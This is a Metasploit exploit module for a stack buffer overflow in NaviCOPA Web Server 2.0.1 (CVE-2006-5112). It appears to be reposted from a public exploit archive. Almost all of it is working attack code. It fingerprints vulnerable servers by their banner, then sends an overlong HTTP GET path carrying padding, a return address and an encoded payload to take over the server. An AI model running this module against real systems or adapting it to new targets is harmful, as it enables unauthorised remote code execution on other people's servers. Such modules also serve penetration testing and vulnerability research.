NaviCOPA Web Server 2.0.1 – URL Handling Buffer Overflow (Metasploit)
## # $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /InterVations/ ] } include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in NaviCOPA 2.0.1. The vulnerability is caused due to a boundary error within the handling of URL parameters. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9797 $', 'References' => [ [ 'CVE', '2006-5112' ], [ 'OSVDB', '29257' ], [ 'BID', '20250' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll ], 'DisclosureDate' => 'Sep 28 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if (resp =~ /2.01 11th September/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = rand_text_alphanumeric(228, payload_badchars) sploit << [target.ret].pack('V') + payload.encoded uri = '/' + sploit res = "GET #{uri} HTTP/1.1\r\n\r\n" print_status("Trying target %s" % target.name) sock.put(res) sock.close handler disconnect end end |